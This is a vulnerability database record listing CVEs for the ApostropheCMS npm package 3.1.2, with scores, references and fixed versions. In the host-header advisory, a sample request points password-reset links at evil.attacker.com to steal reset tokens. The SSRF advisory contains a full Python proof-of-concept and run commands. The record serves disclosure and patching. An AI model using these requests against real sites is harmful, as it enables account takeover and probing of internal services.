Lookup for vulnerable packages by Package URL.

Purlpkg:npm/apostrophe@3.1.2
Typenpm
Namespace
Nameapostrophe
Version3.1.2
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version4.30.0-alpha.1
Latest_non_vulnerable_version4.30.0-alpha.1
Affected_by_vulnerabilities
0
url VCID-1nxf-g588-c3ey
vulnerability_id VCID-1nxf-g588-c3ey
summary ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a timing side-channel vulnerability in the password reset endpoint (/api/v1/@apostrophecms/login/reset-request) that allows unauthenticated username and email enumeration. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs a MongoDB update and SMTP email send with no equivalent delay normalization, producing measurably different response times. The endpoint also accepts both username and email via an $or query, and has no rate limiting as the existing checkLoginAttempts throttle only applies to the login flow. This enables automated enumeration of valid accounts for use in credential stuffing or targeted phishing. Only instances that have explicitly enabled the passwordReset option are affected, as it defaults to false. This issue has been fixed in version 4.29.0.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-33877
reference_id
reference_type
scores
0
value 0.00029
scoring_system epss
scoring_elements 0.08901
published_at 2026-06-11T12:55:00Z
1
value 0.00029
scoring_system epss
scoring_elements 0.0895
published_at 2026-06-13T12:55:00Z
2
value 0.00029
scoring_system epss
scoring_elements 0.08945
published_at 2026-06-12T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-33877
1
reference_url https://github.com/apostrophecms/apostrophe
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/apostrophecms/apostrophe
2
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-33877
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-33877
3
reference_url https://github.com/apostrophecms/apostrophe/commit/e266cffd8c0d331a9b05c92bf11616556efcdc77
reference_id e266cffd8c0d331a9b05c92bf11616556efcdc77
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-15T19:30:48Z/
url https://github.com/apostrophecms/apostrophe/commit/e266cffd8c0d331a9b05c92bf11616556efcdc77
4
reference_url https://github.com/advisories/GHSA-mj7r-x3h3-7rmr
reference_id GHSA-mj7r-x3h3-7rmr
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-mj7r-x3h3-7rmr
5
reference_url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mj7r-x3h3-7rmr
reference_id GHSA-mj7r-x3h3-7rmr
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value LOW
scoring_system cvssv3.1_qr
scoring_elements
2
value LOW
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-15T19:30:48Z/
url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mj7r-x3h3-7rmr
fixed_packages
0
url pkg:npm/apostrophe@4.29.0
purl pkg:npm/apostrophe@4.29.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-9jxc-az1j-3qex
1
vulnerability VCID-jkpm-13y1-5yfj
2
vulnerability VCID-wscg-efgt-e7bw
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.29.0
aliases CVE-2026-33877, GHSA-mj7r-x3h3-7rmr
risk_score 1.6
exploitability 0.5
weighted_severity 3.3
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-1nxf-g588-c3ey
1
url VCID-56a7-tu1w-fua8
vulnerability_id VCID-56a7-tu1w-fua8
summary ApostropheCMS is an open-source content management framework. Prior to version 4.28.0, the bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement. Version 4.28.0 fixes the issue.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-32730
reference_id
reference_type
scores
0
value 0.0013
scoring_system epss
scoring_elements 0.32226
published_at 2026-06-13T12:55:00Z
1
value 0.0013
scoring_system epss
scoring_elements 0.32023
published_at 2026-06-11T12:55:00Z
2
value 0.0013
scoring_system epss
scoring_elements 0.32209
published_at 2026-06-12T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-32730
1
reference_url https://github.com/apostrophecms/apostrophe
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/apostrophecms/apostrophe
2
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-32730
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-32730
3
reference_url https://github.com/advisories/GHSA-v9xm-ffx2-7h35
reference_id GHSA-v9xm-ffx2-7h35
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-v9xm-ffx2-7h35
4
reference_url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-v9xm-ffx2-7h35
reference_id GHSA-v9xm-ffx2-7h35
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-03-19T16:12:00Z/
url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-v9xm-ffx2-7h35
fixed_packages
0
url pkg:npm/apostrophe@4.28.0
purl pkg:npm/apostrophe@4.28.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1nxf-g588-c3ey
1
vulnerability VCID-7fb7-sbm9-u7fa
2
vulnerability VCID-9jxc-az1j-3qex
3
vulnerability VCID-jkpm-13y1-5yfj
4
vulnerability VCID-pt6d-cm84-e7c4
5
vulnerability VCID-t3jk-9ttu-nfgt
6
vulnerability VCID-xez4-ydba-nfdb
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.28.0
aliases CVE-2026-32730, GHSA-v9xm-ffx2-7h35
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-56a7-tu1w-fua8
2
url VCID-7fb7-sbm9-u7fa
vulnerability_id VCID-7fb7-sbm9-u7fa
summary ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in the @apostrophecms/color-field module, where color values prefixed with -- bypass TinyColor validation intended for CSS custom properties, and the launder.string() call performs only type coercion without stripping HTML metacharacters. These unsanitized values are then concatenated directly into <style> tags both in per-widget style elements rendered for all visitors and in the global stylesheet rendered for editors, with the output marked as safe HTML. An editor can inject a value which closes the style tag and executes arbitrary JavaScript in the browser of every visitor to any page containing the affected widget. This enables mass session hijacking, cookie theft, and privilege escalation to administrative control if an admin views draft content. This issue has been fixed in version 4.29.0.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-33889
reference_id
reference_type
scores
0
value 0.00014
scoring_system epss
scoring_elements 0.02501
published_at 2026-06-11T12:55:00Z
1
value 0.00014
scoring_system epss
scoring_elements 0.02493
published_at 2026-06-13T12:55:00Z
2
value 0.00014
scoring_system epss
scoring_elements 0.02503
published_at 2026-06-12T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-33889
1
reference_url https://github.com/apostrophecms/apostrophe
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/apostrophecms/apostrophe
2
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-33889
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-33889
3
reference_url https://github.com/apostrophecms/apostrophe/commit/6a89bdb7acdb2e1e9bf1429961a6ba7f99410481
reference_id 6a89bdb7acdb2e1e9bf1429961a6ba7f99410481
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-16T11:26:46Z/
url https://github.com/apostrophecms/apostrophe/commit/6a89bdb7acdb2e1e9bf1429961a6ba7f99410481
4
reference_url https://github.com/advisories/GHSA-97v6-998m-fp4g
reference_id GHSA-97v6-998m-fp4g
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-97v6-998m-fp4g
5
reference_url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-97v6-998m-fp4g
reference_id GHSA-97v6-998m-fp4g
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-16T11:26:46Z/
url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-97v6-998m-fp4g
fixed_packages
0
url pkg:npm/apostrophe@4.29.0
purl pkg:npm/apostrophe@4.29.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-9jxc-az1j-3qex
1
vulnerability VCID-jkpm-13y1-5yfj
2
vulnerability VCID-wscg-efgt-e7bw
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.29.0
aliases CVE-2026-33889, GHSA-97v6-998m-fp4g
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-7fb7-sbm9-u7fa
3
url VCID-9jxc-az1j-3qex
vulnerability_id VCID-9jxc-az1j-3qex
summary
Apostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation
## Summary

ApostropheCMS's password reset flow constructs the reset URL using `req.hostname`, 
which is derived directly from the attacker-controlled HTTP `Host` header when 
`apos.baseUrl` is not explicitly configured. An unauthenticated attacker who knows 
a victim's email address can send a crafted reset request that causes the application 
to email the victim a reset link pointing to the attacker's domain. When the victim 
clicks the link, the valid reset token is delivered to the attacker, enabling full 
account takeover.

## Affected Component

`modules/@apostrophecms/login/index.js` — `resetRequest` route  
Precondition: `passwordReset: true` is set **and** `apos.baseUrl` is not configured.

## Vulnerability Details

The `setPrefixUrls` middleware (i18n layer) builds `req.baseUrl` using `req.hostname`:

```js
// Simplified from i18n middleware
req.baseUrl = `${req.protocol}://${req.hostname}`;
req.absoluteUrl = req.baseUrl + req.url;
```

The `resetRequest` handler then passes this tainted value directly into URL construction:

```js
const parsed = new URL(
  req.absoluteUrl,           // ← tainted by attacker's Host header
  self.apos.baseUrl
    ? undefined
    : `${req.protocol}://${req.hostname}${port}`  // ← also tainted
);
parsed.pathname = '/login';
parsed.searchParams.append('reset', reset);   // real, valid token
parsed.searchParams.append('email', user.email);
await self.email(..., { url: parsed.toString() }, ...);
// Email sent to victim with URL pointing to attacker-controlled domain
```

When `apos.baseUrl` is configured, it is used unconditionally and the attacker's 
`Host` header is ignored — that path is **not** vulnerable.

## Attack Scenario

1. Attacker identifies a valid user email (e.g. from the site's public interface).
2. Attacker sends:
```
   POST /api/v1/login/reset-request
   Host: evil.attacker.com
   Content-Type: application/json

   {"email": "victim@example.com"}
```
3. The application emails the victim:
```
   Click here to reset your password:
   http://evil.attacker.com/login?reset=TOKEN&email=victim@example.com
```
4. Victim clicks the link; attacker's server captures `TOKEN`.
5. Attacker calls the real target's reset endpoint with the captured token and 
   sets a new password — full account takeover.

## Preconditions

- `passwordReset: true` configured in login module options (opt-in)
- `apos.baseUrl` is **not** set (common in development and some production deployments)
- Attacker knows or can enumerate a valid account email

## Impact

Full account takeover of any account whose email address is known to the attacker. 
No authentication or interaction beyond sending a single HTTP request is required 
from the attacker. The victim need only click a link in a legitimate-looking 
password reset email from their own site.

## Remediation

**Operators (immediate):** Always set `apos.baseUrl` in your configuration:

```js
// app.js or module configuration
modules: {
  '@apostrophecms/express': {
    options: {
      baseUrl: 'https://yourdomain.com'
    }
  }
}
```

**Framework fix (recommended):** The `resetRequest` route should refuse to proceed 
if `apos.baseUrl` is not configured, rather than falling back to the tainted 
`req.hostname`. Example:

```js
// In resetRequest handler
if (!self.apos.baseUrl) {
  throw self.apos.error(
    'invalid',
    'apos.baseUrl must be configured to enable password reset'
  );
}
const parsed = new URL(self.loginUrl(), self.apos.baseUrl);
```

This eliminates the attacker-controlled input entirely from the URL construction path.

## References

- [OWASP: Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection)
- [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-45013
reference_id
reference_type
scores
0
value 0.0008
scoring_system epss
scoring_elements 0.23926
published_at 2026-06-13T12:55:00Z
1
value 0.0014
scoring_system epss
scoring_elements 0.34038
published_at 2026-06-12T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-45013
1
reference_url https://github.com/apostrophecms/apostrophe
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/apostrophecms/apostrophe
2
reference_url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gf43-24g3-5hw2
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-06-13T03:36:29Z/
url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gf43-24g3-5hw2
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-45013
reference_id CVE-2026-45013
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-45013
4
reference_url https://github.com/advisories/GHSA-gf43-24g3-5hw2
reference_id GHSA-gf43-24g3-5hw2
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-gf43-24g3-5hw2
fixed_packages
0
url pkg:npm/apostrophe@4.30.0-alpha.1
purl pkg:npm/apostrophe@4.30.0-alpha.1
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.30.0-alpha.1
aliases CVE-2026-45013, GHSA-gf43-24g3-5hw2
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-9jxc-az1j-3qex
4
url VCID-h84b-fbew-d3a3
vulnerability_id VCID-h84b-fbew-d3a3
summary Apostrophe CMS versions between 2.63.0 to 3.3.1 are vulnerable to Stored XSS where an editor uploads an SVG file that contains malicious JavaScript onto the Images module, which triggers XSS once viewed.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-25978
reference_id
reference_type
scores
0
value 0.00281
scoring_system epss
scoring_elements 0.51992
published_at 2026-06-13T12:55:00Z
1
value 0.00281
scoring_system epss
scoring_elements 0.51849
published_at 2026-06-11T12:55:00Z
2
value 0.00281
scoring_system epss
scoring_elements 0.51979
published_at 2026-06-12T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-25978
1
reference_url https://github.com/apostrophecms/apostrophe
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/apostrophecms/apostrophe
2
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-25978
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-25978
3
reference_url https://github.com/apostrophecms/apostrophe/commit/c8b94ee9c79468f1ce28e31966cb0e0839165e59
reference_id c8b94ee9c79468f1ce28e31966cb0e0839165e59
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-30T15:48:54Z/
url https://github.com/apostrophecms/apostrophe/commit/c8b94ee9c79468f1ce28e31966cb0e0839165e59
4
reference_url https://github.com/advisories/GHSA-4r9c-jghc-cx5m
reference_id GHSA-4r9c-jghc-cx5m
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-4r9c-jghc-cx5m
fixed_packages
0
url pkg:npm/apostrophe@3.4.0
purl pkg:npm/apostrophe@3.4.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1nxf-g588-c3ey
1
vulnerability VCID-56a7-tu1w-fua8
2
vulnerability VCID-7fb7-sbm9-u7fa
3
vulnerability VCID-9jxc-az1j-3qex
4
vulnerability VCID-jkpm-13y1-5yfj
5
vulnerability VCID-pt6d-cm84-e7c4
6
vulnerability VCID-t3jk-9ttu-nfgt
7
vulnerability VCID-xez4-ydba-nfdb
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@3.4.0
aliases CVE-2021-25978, GHSA-4r9c-jghc-cx5m
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-h84b-fbew-d3a3
5
url VCID-jkpm-13y1-5yfj
vulnerability_id VCID-jkpm-13y1-5yfj
summary
Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget
### Summary
ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.

### Details
  The vulnerable flow is in the rich-text widget sanitizer:
  - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js`
  - `packages/apostrophe/modules/@apostrophecms/area/index.js`
  - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js`

Relevant behavior:
  1. The backend accepts a widget payload containing `import.html`.
  2. It parses `<img src=...>` values from that HTML.
  3. For each image, it resolves the URL with:
     - `new URL(src, input.import.baseUrl || self.apos.baseUrl)`
  4. It then performs a server-side `fetch(url)`.
  5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.

  This is reachable during widget validation through:
  - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft`


### PoC
 1. Start a local HTTP server with a valid PNG:
```bash
     mkdir -p /tmp/apos-poc
     base64 -d > /tmp/apos-poc/secret.png <<'EOF'
     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=
     EOF
     cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1
```
2. Run the following Python PoC:
```python
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin

import requests


def login(base_url: str, username: str, password: str) -> str:
    url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
    r = requests.post(
        url,
        json={
            "username": username,
            "password": password
        },
        timeout=20
    )
    r.raise_for_status()
    data = r.json()
    token = data.get("token")
    if not token:
      raise RuntimeError(f"Login succeeded but no token was returned: {data}")
    return token


def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
    url = urljoin(
        base_url,
        "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
    )
    payload = {
        "areaFieldId": area_field_id,
        "type": "@apostrophecms/rich-text",
        "widget": {
            "type": "@apostrophecms/rich-text",
            "content": "<p>seed</p>",
            "import": {
                "html": f'<img src="{target_url}">',
                "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
            }
        }
    }
    r = requests.post(
        url,
        headers={
            "Authorization": f"Bearer {token}",
            "Accept": "application/json"
        },
        json=payload,
        timeout=30
    )
    r.raise_for_status()
    return r.json()


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
    )
    parser.add_argument("--base-url", default="http://127.0.0.1:3000")
    parser.add_argument("--username", default="admin")
    parser.add_argument("--password", default="admin123")
    parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
    parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
    parser.add_argument(
        "--fetch-image",
        action="store_true",
        help="Fetch the generated Apostrophe image URL after exploitation."
    )
    args = parser.parse_args()

    try:
        token = login(args.base_url, args.username, args.password)
        result = trigger(args.base_url, token, args.area_field_id, args.target_url)
    except Exception as exc:
        print(f"[!] Exploit failed: {exc}", file=sys.stderr)
        return 1

    print("[+] Login OK")
    print(f"[+] Bearer token: {token}")
    print("[+] Exploit response:")
    print(json.dumps(result, indent=2))

    widget = result.get("widget") or {}
    image_ids = widget.get("imageIds") or []
    if not image_ids:
        print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
        return 0

    image_id = image_ids[0]
    image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
    image_url = urljoin(args.base_url, image_path)
    print(f"[+] Generated image id: {image_id}")
    print(f"[+] Generated image URL: {image_url}")

    if args.fetch_image:
        r = requests.get(image_url, allow_redirects=True, timeout=30)
        print(f"[+] Final fetch status: {r.status_code}")
        print(f"[+] Final URL: {r.url}")
        print(f"[+] Retrieved bytes: {len(r.content)}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```
3. Example usage:
```bash
     python3 poc.py \
       --base-url http://127.0.0.1:3000 \
       --username admin \
       --password admin123 \
       --area-field-id cd4f89f5b834d0036f3867f1507a8add \
       --target-url http://127.0.0.1:7777/secret.png \
       --fetch-image
```
  4. Expected result:
      - The local listener receives:
        GET /secret.png HTTP/1.1
      - The API response includes a rewritten Apostrophe image URL and imageIds.
      - The generated image URL can then be fetched through the application.

Additional note:

  - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.

### Impact
An authenticated user with permission to submit or edit rich-text widget content can:
  - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)
  - perform blind or semi-blind internal port and service discovery
  - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-45012
reference_id
reference_type
scores
0
value 0.00038
scoring_system epss
scoring_elements 0.1178
published_at 2026-06-13T12:55:00Z
1
value 0.00043
scoring_system epss
scoring_elements 0.13471
published_at 2026-06-12T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-45012
1
reference_url https://github.com/apostrophecms/apostrophe
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/apostrophecms/apostrophe
2
reference_url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-45012
reference_id CVE-2026-45012
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-45012
4
reference_url https://github.com/advisories/GHSA-pr28-mf3q-qpg6
reference_id GHSA-pr28-mf3q-qpg6
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-pr28-mf3q-qpg6
fixed_packages
0
url pkg:npm/apostrophe@4.30.0-alpha.1
purl pkg:npm/apostrophe@4.30.0-alpha.1
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.30.0-alpha.1
aliases CVE-2026-45012, GHSA-pr28-mf3q-qpg6
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-jkpm-13y1-5yfj
6
url VCID-pt6d-cm84-e7c4
vulnerability_id VCID-pt6d-cm84-e7c4
summary ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the choices and counts query parameters of the REST API, where these query builders execute MongoDB distinct() operations that bypass the publicApiProjection restrictions intended to limit which fields are exposed publicly. The choices and counts parameters are processed via applyBuildersSafely before the projection is applied, and MongoDB's distinct operation does not respect projections, returning all distinct values directly. The results are returned in the API response without any filtering against publicApiProjection or removeForbiddenFields. An unauthenticated attacker can extract all distinct field values for any schema field type that has a registered query builder, including string, integer, float, select, boolean, date, slug, and relationship fields. Fields protected with viewPermission are similarly exposed, and the counts variant additionally reveals how many documents have each distinct value. Both the piece-type and page REST APIs are affected. This issue has been fixed in version 4.29.0.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39857
reference_id
reference_type
scores
0
value 0.00031
scoring_system epss
scoring_elements 0.09359
published_at 2026-06-11T12:55:00Z
1
value 0.00031
scoring_system epss
scoring_elements 0.09408
published_at 2026-06-13T12:55:00Z
2
value 0.00031
scoring_system epss
scoring_elements 0.09413
published_at 2026-06-12T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39857
1
reference_url https://github.com/apostrophecms/apostrophe
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/apostrophecms/apostrophe
2
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39857
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39857
3
reference_url https://github.com/apostrophecms/apostrophe/commit/6c2b548dec2e3f7a82e8e16736603f4cd17525aa
reference_id 6c2b548dec2e3f7a82e8e16736603f4cd17525aa
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:40:14Z/
url https://github.com/apostrophecms/apostrophe/commit/6c2b548dec2e3f7a82e8e16736603f4cd17525aa
4
reference_url https://github.com/advisories/GHSA-c276-fj82-f2pq
